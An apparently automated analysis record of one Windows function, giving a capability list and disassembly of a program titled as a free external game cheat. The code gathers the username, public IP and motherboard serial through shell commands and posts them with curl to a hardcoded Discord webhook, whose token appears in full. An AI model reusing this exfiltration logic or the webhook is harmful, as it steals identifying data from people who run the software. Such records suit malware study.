Function at 0x140048900
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Create thread
Delete file
Encode data using xor
Enumerate processes
Execute command
Log keystrokes via polling
Parse pe header
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xdc8]
sub rsp, 0xea0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
mov rax, qword [0x1401741c0]
xor rax, rsp
mov qword [rbp + 0xd30], rax
xor edi, edi
lea rcx, [rbp + 0xb50]
call fcn.140006660
nop
lea rcx, str.Avhook.xyz___Free_External
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 8
call fcn.1400fa488
test rax, rax
je 0x14004898d
lea rcx, [0x140048220]
mov qword [rax], rcx
jmp 0x140048990
mov rax, rdi
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x60]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x1400036e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x68], rax
test rax, rax
je 0x140050f9b
mov qword [rbp + 0x50], rdi
lea rcx, [0x140174e00]
call fcn.1400a3450
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
cmp rax, 0xffffffffffffffff
jne 0x140048a80
lea rdx, str.Error:_Could_not_get_console_handle.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
cmp dword [rbp - 0x60], 0
jne 0x140048d4a
lea rcx, [rbp + 0xb70]
call fcn.140007f50
lea rcx, [rbp + 0xb50]
call fcn.140008190
mov eax, 1
mov rcx, qword [rbp + 0xd30]
xor rcx, rsp
call fcn.1400fa820
lea r11, [rsp + 0xea0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0xb30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
jne 0x140048aa0
lea rdx, str.Error:_Could_not_get_console_info.
jmp 0x1400489ee
call fcn.140041d00
test al, al
je 0x140048d26
xorps xmm0, xmm0
movups xmmword [rbp + 0x900], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x910], xmm1
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Welcome_back_to
lea rcx, [rbp + 0x900]
call fcn.1400027a0
nop
lea rcx, [rbp + 0x900]
call fcn.140025020
nop
lea rcx, [rbp + 0x900]
call fcn.140008190
call fcn.14003ca40
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x920], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x930], xmm1
mov r8d, 0xa
lea rdx, [0x140120cb0]
lea rcx, [rbp + 0x920]
call fcn.1400027a0
nop
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0xac0]
call fcn.140006170
mov dword [rbp + 0xae0], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0xac0]
mov rcx, rbx
call fcn.140009160
nop
lea rcx, [rbp + 0xac0]
call fcn.140008190
nop
lea rcx, [rbp + 0x920]
call fcn.140008190
call fcn.14003caa0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xorps xmm0, xmm0
movups xmmword [rbp + 0x940], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x950], xmm1
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x940]
call fcn.1400027a0
nop
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0xae8]
call fcn.140006170
mov dword [rbp + 0xb08], reloc.WLDAP32.dll_Ordinal_50
lea rdx, [rbp + 0xae8]
mov rcx, rbx
call fcn.140009160
nop
lea rcx, [rbp + 0xae8]
call fcn.140008190
nop
lea rcx, [rbp + 0x940]
call fcn.140008190
mov qword [rbp + 0x128], 0x258
lea rcx, [rbp + 0x128]
call fcn.1400051e0
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0x78], Ordinal_301
lea rcx, [rbp + 0x78]
call fcn.1400051e0
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call fcn.14003c910
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c0], xmm0
mov qword [rbp + 0x7d0], rdi
mov qword [rbp + 0x7d8], rdi
mov r8d, 0x79
lea rdx, str.https:__discord.com_api_webhooks_1273039897653153882_w2Rd1srHdSQcdMP23AGglZJCVCokF04hbJfyefnPAZyDTqm7r6Lw4_v5PL6rnNskvY75
lea rcx, [rbp + 0x7c0]
call fcn.1400027a0
nop
lea rdx, str.whoami
lea rcx, [rbp + 0x700]
call fcn.140040870
nop
mov r8, 0xffffffffffffffff
lea rdx, str.__n_r_t
lea rcx, [rbp + 0x700]
call fcn.140040a50
lea rcx, [rax + 1]
cmp qword [rbp + 0x710], rcx
jb 0x140050fa9
mov qword [rbp + 0x710], rcx
lea rax, [rbp + 0x700]
cmp qword [rbp + 0x718], 0xf
cmova rax, qword [rbp + 0x700]
mov byte [rax + rcx], 0
lea rcx, [rbp + 0x700]
cmp qword [rbp + 0x718], 0xf
cmova rcx, qword [rbp + 0x700]
mov r9b, 0x5c
mov r8, 0xffffffffffffffff
mov rdx, qword [rbp + 0x710]
call fcn.140003f60
cmp rax, 0xffffffffffffffff
je 0x140048d51
lea r8, [rax + 1]
mov r9, 0xffffffffffffffff
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x700]
call fcn.140045730
jmp 0x140048d65
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400415e0
test al, al
jne 0x140048c1b
cmp dword [rbp - 0x60], 0
je 0x140048a15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x9a0]
call fcn.140006170
nop
lea rdx, str.curl__s_ifconfig.me
lea rcx, [rbp + 0x7a0]
call fcn.140040870
nop
mov r8, 0xffffffffffffffff
lea rdx, str.__n_r_t
lea rcx, [rbp + 0x7a0]
call fcn.140040a50
lea rcx, [rax + 1]
cmp qword [rbp + 0x7b0], rcx
jb 0x140050faf
mov qword [rbp + 0x7b0], rcx
lea rax, [rbp + 0x7a0]
cmp qword [rbp + 0x7b8], 0xf
cmova rax, qword [rbp + 0x7a0]
mov byte [rax + rcx], 0
lea rdx, str.wmic_baseboard_get_serialnumber
lea rcx, [rbp + 0x800]
call fcn.140040870
nop
mov r8, 0xffffffffffffffff
lea rdx, str.__n_r_t
lea rcx, [rbp + 0x800]
call fcn.140040a50
lea rcx, [rax + 1]
cmp qword [rbp + 0x810], rcx
jb 0x140050fb5
mov qword [rbp + 0x810], rcx
lea rax, [rbp + 0x800]
cmp qword [rbp + 0x818], 0xf
cmova rax, qword [rbp + 0x800]
mov byte [rax + rcx], 0
mov byte [rbp - 8], 0
xor edx, edx
lea rcx, [rbp]
call fcn.140007b60
nop
lea rax, [rbp + 0x390]
mov qword [rbp + 8], rax
lea rdx, str.title
lea rcx, [rbp + 0x88]
call fcn.140001ce0
nop
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0xa0], 0
xor eax, eax
mov qword [rbp + 0xa8], rax
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.14003efc0
mov byte [rbp + 0xa0], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400026d0
lea rcx, [rbp - 0x77]
mov qword [rbp + 0xb8], rcx
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.User_Logged_In
mov rcx, rax
call fcn.1400027a0
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], rdi
lea rax, [rbp + 0x88]
mov qword [rbp + 0x280], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x288], rax
movaps xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xa10]
call fcn.140005ba0
mov qword [rbp + 0xa20], rdi
lea rax, [rbp - 0x40]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x40], 0
xor eax, eax
mov qword [rbp - 0x38], rax
xor edx, edx
lea rcx, [rbp - 0x38]
call fcn.14003efc0
mov byte [rbp - 0x40], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400026d0
lea rcx, [rbp - 0x7c]
mov qword [rbp + 0xc8], rcx
mov qword [rbp + 0xd0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov r8d, recv
lea rdx, str.description
mov rcx, rax
call fcn.1400027a0
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], rdi
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rdi
lea rax, [rbp - 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x28], 0
xor eax, eax
mov qword [rbp - 0x20], rax
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.14003efc0
mov byte [rbp - 0x28], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400026d0
lea rcx, [rbp - 0x7b]
mov qword [rbp + 0xd8], rcx
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.________________
mov rcx, rax
call fcn.1400027a0
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0xe0], rdi
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdi
lea rax, [rbp - 0x40]
mov qword [rbp + 0x290], rax
lea rax, [rbp - 0x10]
mov qword [rbp + 0x298], rax
movaps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xa28]
call fcn.140005ba0
mov qword [rbp + 0xa38], rdi
lea rdx, str.color
lea rcx, [rbp + 0x2d0]
call fcn.140001ce0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e8], xmm0
mov byte [rbp + 0x2e8], 0
xor eax, eax
mov qword [rbp + 0x2f0], rax
mov edx, 0xffff
lea rcx, [rbp + 0x2e8]
call fcn.140004490
mov qword [rbp + 0x2f8], rdi
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2a0], rax
lea rax, [rbp + 0x300]
mov qword [rbp + 0x2a8], rax
movaps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xa40]
call fcn.140005ba0
mov qword [rbp + 0xa50], rdi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x20], 0
xor eax, eax
mov qword [rbp + 0x28], rax
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.14003efc0
mov byte [rbp + 0x20], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400026d0
lea rcx, [rbp - 0x7a]
mov qword [rbp + 0xe8], rcx
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov r8d, 6
lea rdx, str.fields
mov rcx, rax
call fcn.1400027a0
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0xf0], rdi
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rdi
lea rdx, str.name
lea rcx, [rbp + 0x160]
call fcn.140001ce0
nop
lea rax, [rbp + 0x178]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
mov byte [rbp + 0x178], 0
xor eax, eax
mov qword [rbp + 0x180], rax
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.14003efc0
mov byte [rbp + 0x178], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400026d0
lea rcx, [rbp - 0x79]
mov qword [rbp + 0xf8], rcx
mov qword [rbp + 0x100], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov r8d, 8
lea rdx, str.Username
mov rcx, rax
call fcn.1400027a0
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rdi
lea rax, [rbp + 0x160]
mov qword [rbp + 0x2b0], rax
lea rax, [rbp + 0x190]
mov qword [rbp + 0x2b8], rax
movaps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x360]
call fcn.140005ba0
mov qword [rbp + 0x370], rdi
lea rdx, str.value
lea rcx, [rbp + 0x400]
call fcn.140001ce0
nop
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x418]
call fcn.140001c60
mov qword [rbp + 0x428], rdi
lea rax, [rbp + 0x400]
mov qword [rbp + 0x2c0], rax
lea rax, [rbp + 0x430]
mov qword [rbp + 0x2c8], rax
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x378]
call fcn.140005ba0
mov qword [rbp + 0x388], rdi
lea rax, [rbp + 0x360]
mov qword [rbp + 0x1b0], rax
lea rax, [rbp + 0x390]
mov qword [rbp + 0x1b8], rax
movaps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x9c0]
call fcn.140005ba0
mov qword [rbp + 0x9d0], rdi
lea rdx, str.name
lea rcx, [rbp + 0x130]
call fcn.140001ce0
nop
lea rax, [rbp + 0x148]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x148], 0
xor eax, eax
mov qword [rbp + 0x150], rax
xor edx, edx
lea rcx, [rbp + 0x150]
call fcn.14003efc0
mov byte [rbp + 0x148], 3
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400026d0
lea rcx, [rsp + 0x40]
mov qword [rbp + 0x108], rcx
mov qword [rbp + 0x110], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], rdi
mov r8d, 0xa
lea rdx, str.IP_Address
mov rcx, rax
call fcn.1400027a0
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x110], rdi
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], rdi
lea rax, [rbp + 0x130]
mov qword [rbp + 0x1c0], rax
lea rax, [rbp + 0x160]
mov qword [rbp + 0x1c8], rax
movaps xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x330]
call fcn.140005ba0
mov qword [rbp + 0x340], rdi
lea rdx, str.value
lea rcx, [rbp + 0x3d0]
call fcn.140001ce0
nop
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x3e8]
call fcn.140001c60
mov qword [rbp + 0x3f8], rdi
lea rax, [rbp + 0x3d0]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x400]
mov qword [rbp + 0x1d8], rax
movaps xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x348]
call fcn.140005ba0
mov qword [rbp + 0x358], rdi
lea rax, [rbp + 0x330]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0x360]
mov qword [rbp + 0x1e8], rax
movaps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x9d8]
call fcn.140005ba0
mov qword [rbp + 0x9e8], rdi
lea rdx, str.name
lea rcx, [rbp + 0x430]
call fcn.140001ce0
nop
lea rdx, str.HWID
lea rcx, [rbp + 0x448]
call fcn.140001ce0
nop
lea rax, [rbp + 0x430]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x460]
mov qword [rbp + 0x1f8], rax
movaps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x300]
call fcn.140005ba0
mov qword [rbp + 0x310], rdi
lea rdx, str.value
lea rcx, [rbp + 0x3a0]
call fcn.140001ce0
nop
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x3b8]
call fcn.140001c60
mov qword [rbp + 0x3c8], rdi
lea rax, [rbp + 0x3a0]
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x3d0]
mov qword [rbp + 0x208], rax
movaps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x318]
call fcn.140005ba0
mov qword [rbp + 0x328], rdi
lea rax, [rbp + 0x300]
mov qword [rbp + 0x210], rax
lea rax, [rbp + 0x330]
mov qword [rbp + 0x218], rax
movaps xmm0, xmmword [rbp + 0x210]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x9f0]
call fcn.140005ba0
mov qword [rbp + 0xa00], rdi
lea rax, [rbp + 0x9c0]
mov qword [rbp + 0x220], rax
lea rax, [rbp + 0xa08]
mov qword [rbp + 0x228], rax
movaps xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
xor r8d, r8d
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.140005ba0
nop
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x10], 0
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x48], rdi
lea rax, [rbp + 0x20]
mov qword [rbp + 0x230], rax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x238], rax
movaps xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0xa58]
call fcn.140005ba0
mov qword [rbp + 0xa68], rdi
lea rax, [rbp + 0xa10]
mov qword [rbp + 0x240], rax
lea rax, [rbp + 0xa70]
mov qword [rbp + 0x248], rax
movaps xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rsp + 0x70], xmm0
mov r9b, 2
mov r8b, 1
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.140005ba0
mov qword [rbp + 0x1a0], rdi
lea rax, [rbp + 0x190]
mov qword [rbp + 0x250], rax
lea rax, [rbp + 0x1a8]
mov qword [rbp + 0x258], rax
movaps xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x390]
call fcn.14003ebf0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rdi
mov qword [rbp + 0x278], rdi
mov r8d, 6
lea rdx, str.embeds
lea rcx, [rbp + 0x260]
call fcn.1400027a0
lea rdx, [rbp + 0x260]
lea rcx, [rbp - 8]
call fcn.1400091f0
nop
mov rdx, rbx
mov rcx, rax
call fcn.140009120
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 1
lea rcx, [rbp + 0x190]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 4
lea rcx, [rbp + 0xa10]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x20]
call fcn.1400fa3b8
nop
movzx edx, byte [rbp + 0x10]
lea rcx, [rbp + 0x18]
call fcn.14003efc0
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 3
lea rcx, [rbp + 0x9c0]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x300]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x3a0]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x430]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x330]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x3d0]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x130]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x360]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x400]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x160]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x2d0]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp - 0x40]
call fcn.1400fa3b8
nop
lea r9, [0x140008170]
mov edx, Ordinal_26
mov r8d, 2
lea rcx, [rbp + 0x88]
call fcn.1400fa3b8
mov dword [rsp + 0x28], edi
mov byte [rsp + 0x20], 0
mov r9b, reloc.WLDAP32.dll_Ordinal_32
mov r8d, 0xffffffff
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp - 8]
call fcn.14003f4c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], rdi
mov qword [rbp + 0x678], rdi
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.embed_payload.json
lea rcx, [rbp + 0x660]
call fcn.1400027a0
nop
lea rdx, [rbp + 0x660]
cmp qword [rbp + 0x678], 0xf
cmova rdx, qword [rbp + 0x660]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rcx, [rbp + 0x460]
call fcn.140005f70
mov rax, qword [rbp + 0x460]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x460], rax
mov rax, qword [rbp + 0x460]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x45c], edx
lea rdx, [rbp + 0x8e0]
cmp qword [rbp + 0x8f8], 0xf
cmova rdx, qword [rbp + 0x8e0]
mov r8, qword [rbp + 0x8f0]
lea rcx, [rbp + 0x460]
call fcn.140003490
lea rcx, [rbp + 0x460]
call fcn.14003ee60
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x670]
sub rax, rcx
cmp rax, 0x5a
jb 0x140050fbb
lea rax, [rbp + 0x660]
cmp qword [rbp + 0x678], 0xf
cmova rax, qword [rbp + 0x660]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x5a
lea r9, str.curl__i__H__Accept:_application_json___H__Content_Type:_application_json___X_POST___data__
lea r8, [rbp + 0x660]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xb10]
call fcn.1400062d0
nop
lea r8, [0x14011fd48]
lea rdx, [rbp + 0xb10]
lea rcx, [rbp + 0xbb0]
call fcn.1400025e0
nop
lea rdx, [rbp + 0x7c0]
cmp qword [rbp + 0x7d8], 0xf
cmova rdx, qword [rbp + 0x7c0]
mov r8, qword [rbp + 0x7d0]
mov rcx, rax
call fcn.14003eb60
xorps xmm0, xmm0
movups xmmword [rbp + 0x820], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x830], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x820], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x830], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea r8, str.___nul_2_1
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0x7e0]
call fcn.1400025e0
nop
lea rcx, [rbp + 0x820]
call fcn.140008190
nop
lea rcx, [rbp + 0xbb0]
call fcn.140008190
nop
lea rcx, [rbp + 0xb10]
call fcn.140008190
lea rdx, str.Command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
lea rdx, [rbp + 0x7e0]
cmp qword [rbp + 0x7f8], 0xf
cmova rdx, qword [rbp + 0x7e0]
mov r8, qword [rbp + 0x7f0]
mov rcx, rax
call fcn.140003490
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x7e0]
cmp qword [rbp + 0x7f8], 0xf
cmova rcx, qword [rbp + 0x7e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
test eax, eax
je 0x140049bff
lea rdx, str.Error_executing_command._Exit_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002380
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140049c12
lea rdx, str.Command_executed_successfully.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002380
lea rdx, [0x140004db0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x660]
cmp qword [rbp + 0x678], 0xf
cmova rcx, qword [rbp + 0x660]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov qword [rbp + 0x70], 0x7d0
lea rcx, [rbp + 0x70]
call fcn.1400051e0
lea rcx, [0x140120798]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx ecx, word [rbp + 0xb38]
call fcn.14003c910
call fcn.140041a10
test al, al
jne 0x14004be37
lea rcx, str._Are_you_using_Windows_11___If_yes__type_Y._If_not__type_N.
call fcn.1400457e0
lea rdx, [0x140004db0]
